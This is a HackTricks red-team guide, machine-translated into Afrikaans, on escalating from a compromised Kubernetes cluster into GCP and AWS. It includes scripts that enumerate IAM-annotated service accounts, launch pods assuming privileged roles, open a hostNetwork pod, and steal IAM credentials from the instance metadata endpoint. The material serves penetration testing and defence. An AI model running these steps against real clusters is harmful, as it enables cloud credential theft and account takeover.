Kubernetes Pivoting to Clouds

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

GCP

As jy 'n k8s-tros in GCP hardloop, wil jy waarskynlik hê dat 'n toepassing wat binne die tros hardloop, toegang tot GCP het. Daar is 2 algemene maniere om dit te doen:

Monteer GCP-SA-sleutels as geheim

'n Algemene manier om toegang tot 'n kubernetes-toepassing tot GCP te gee, is as volg:

  • Skep 'n GCP-diensrekening

  • Bind die gewenste toestemmings daaraan

  • Laai 'n json-sleutel van die geskepte SA af

  • Monteer dit as 'n geheim binne die houer

  • Stel die omgewingsveranderlike GOOGLE_APPLICATION_CREDENTIALS in wat na die pad wys waar die json is.

Daarom, as 'n aanvaller, as jy 'n houer binne 'n tros kompromitteer, moet jy kyk vir daardie omgewingsveranderlike en json-lêers met GCP-legitimasie.

Verwantskap tussen GSA-json en KSA-geheim

'n Manier om 'n GSA toegang tot 'n GKE-tros te gee, is deur hulle so te bind:

  • Skep 'n Kubernetes-diensrekening in dieselfde naamruimte as jou GKE-tros deur die volgende opdrag te gebruik:

Copy codekubectl create serviceaccount <service-account-name>
  • Skep 'n Kubernetes-geheim wat die geloofsbriewe van die GCP-diensrekening bevat waartoe jy toegang tot die GKE-cluster wil verleen. Jy kan dit doen deur die gcloud-opdraglyn-hulpmiddel te gebruik, soos getoon in die volgende voorbeeld:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Bind die Kubernetes Geheim aan die Kubernetes-diensrekening deur die volgende bevel te gebruik:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

In die tweede stap is die volmagte van die GSA as 'n geheim van die KSA ingestel. As jy dan daardie geheim van binne-in die GKE-kluster kan lees, kan jy opgradeer na daardie GCP-diensrekening.

GKE Werklasidentiteit

Met Werklasidentiteit kan ons 'n Kubernetes-diensrekening configureer om as 'n Google-diensrekening op te tree. Pods wat met die Kubernetes-diensrekening loop, sal outomaties as die Google-diensrekening geverifieer word wanneer hulle toegang tot Google Cloud API's verkry.

Die eerste reeks stappe om hierdie gedrag in te skakel, is om Werklasidentiteit in GCP te aktiveer (stappe) en die GCP-diensrekening te skep wat jy wil hê k8s moet voorstel.

  • Aktiveer Werklasidentiteit op 'n nuwe kluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Skep/opdateer 'n nuwe nodepool (Autopilot-klusters het dit nie nodig nie)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Skep die GCP-diensrekening om te verteenwoordig vanaf K8s met GCP-toestemmings:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Verbind met die kluster en skep die diensrekening om te gebruik

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Bind die GSA met die KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Voer 'n pod uit met die KSA en kontroleer die toegang tot die GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Kyk na die volgende bevel om te verifieer in geval dit nodig is:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

As 'n aanvaller binne K8s moet jy soek na SAs met die iam.gke.io/gcp-service-account annotasie, aangesien dit aandui dat die SA toegang het tot iets in GCP. 'n Ander opsie sou wees om elke KSA in die cluster te misbruik en te kyk of dit toegang het. Vanuit GCP is dit altyd interessant om die bindings op te som en te weet watter toegang jy gee aan SAs binne Kubernetes.

Hierdie is 'n skrip om maklik oor al die pod-definisies te iterasie en te soek na daardie annotasie:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM rol vir Pods)

'n (verouderde) manier om IAM-rolle aan Pods te gee, is om 'n Kiam of 'n Kube2IAM bediener te gebruik. Jy moet basies 'n daemonset in jou groep met 'n soort bevoorregte IAM-rol laat loop. Hierdie daemonset sal die een wees wat toegang tot IAM-rolle aan die pods wat dit nodig het, gee.

Eerstens moet jy configureer watter rolle binne die namespace toeganklik kan wees, en jy doen dit met 'n annotasie binne die namespace-objek:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Sodra die namespace gekonfigureer is met die IAM-rolle wat die Pods kan hê, kan jy die rol wat jy wil hê op elke pod definisie aandui met iets soos:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

As 'n aanvaller, as jy hierdie annotasies in pods of namespaces of 'n kiam/kube2iam bediener vind (waarskynlik in kube-system), kan jy elke rol naboots wat reeds deur pods gebruik word en meer (as jy toegang het tot die AWS-rekening, tel die rolle op).

Skep Pod met IAM Rol

Die IAM-rol wat aangedui moet word, moet in dieselfde AWS-rekening as die kiam/kube2iam-rol wees en daardie rol moet toegang daartoe hê.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Rol vir K8s-diensrekeninge via OIDC

Dit is die aanbevole metode deur AWS.

  1. Eerstens moet jy 'n OIDC-verskaffer vir die groep skep. Sien hierdie skakel vir instruksies.

  2. Skep dan 'n IAM-rol met die nodige toestemmings vir die diensrekening.

  3. Skep 'n vertrouensverhouding tussen die IAM-rol en die diensrekening naam (of die name van die name spaces wat toegang tot die rol gee vir al die diensrekeninge van die name space). Die vertrouensverhouding sal hoofsaaklik die OIDC-verskaffer se naam, die name space se naam en die diensrekening se naam nagaan.

  4. Laastens, skep 'n diensrekening met 'n annotasie wat die ARN van die rol aandui, en die houers wat met daardie diensrekening loop, sal toegang tot die token van die rol hê. Die token word geskryf na 'n lêer en die pad word gespesifiseer in AWS_WEB_IDENTITY_TOKEN_FILE (verstek: /var/run/secrets/eks.amazonaws.com/serviceaccount/token).

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Om aws te kry deur die token vanaf /var/run/secrets/eks.amazonaws.com/serviceaccount/token uit te voer, voer die volgende bevel uit:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

As 'n aanvaller, as jy 'n K8s-tros kan opspoor, kyk vir diensrekeninge met daardie annotasie om na AWS te eskalasie. Om dit te doen, voer/net 'n hokkie uit/skep met behulp van een van die IAM bevoorregte diensrekeninge en steel die token.

Verder, as jy binne 'n hokkie is, kyk vir omgewingsveranderlikes soos AWS_ROLE_ARN en AWS_WEB_IDENTITY_TOKEN.

Soms kan die Vertrouensbeleid van 'n rol sleg geconfigureer wees en in plaas daarvan om AssumeRole-toegang aan die verwagte diensrekening te gee, gee dit dit aan alle diensrekeninge. Daarom, as jy in staat is om 'n annotasie op 'n beheerde diensrekening te skryf, kan jy toegang verkry tot die rol.

Kyk na die volgende bladsy vir meer inligting:

pageAWS - Federation Abuse

Vind Hokkies en Diensrekeninge met IAM-rolle in die Tros

Hierdie is 'n skripsie om maklik oor al die hokkies en diensrekeninge definisies te iterasie en te soek na daardie annotasie:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Rol

Die vorige afdeling het gegaan oor hoe om IAM-rolle met pods te steel, maar let daarop dat 'n Node van die K8s-cluster 'n instansie binne die wolk gaan wees. Dit beteken dat die Node hoogs waarskynlik 'n nuwe IAM-rol gaan hê wat jy kan steel (let daarop dat gewoonlik al die nodes van 'n K8s-cluster dieselfde IAM-rol sal hê, so dit mag nie die moeite werd wees om op elke node te probeer kyk nie).

Daar is egter 'n belangrike vereiste om toegang te verkry tot die metadata-eindpunt vanaf die node, jy moet in die node wees (ssh-sessie?) of ten minste dieselfde netwerk hê:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steel IAM Rolle Token

Vroeër het ons bespreek hoe om IAM-rolle aan Pods te heg of selfs hoe om na die Node te ontsnap om die IAM-rol te steel wat aan die instansie geheg is.

Jy kan die volgende skrip gebruik om jou nuwe hard gewerkte IAM-rollegitimasie te steel:

#!/bin/bash

# Get the instance metadata
metadata=$(curl -s http://169.254.169.254/latest/meta-data/)

# Get the IAM role name
role_name=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Get the IAM role credentials
credentials=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name)

# Print the IAM role credentials
echo $credentials

Hierdie skrip sal die volgende doen:

  1. Kry die instansie metadata.

  2. Kry die IAM-rolnaam.

  3. Kry die IAM-rollegitimasie.

  4. Druk die IAM-rollegitimasie.

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated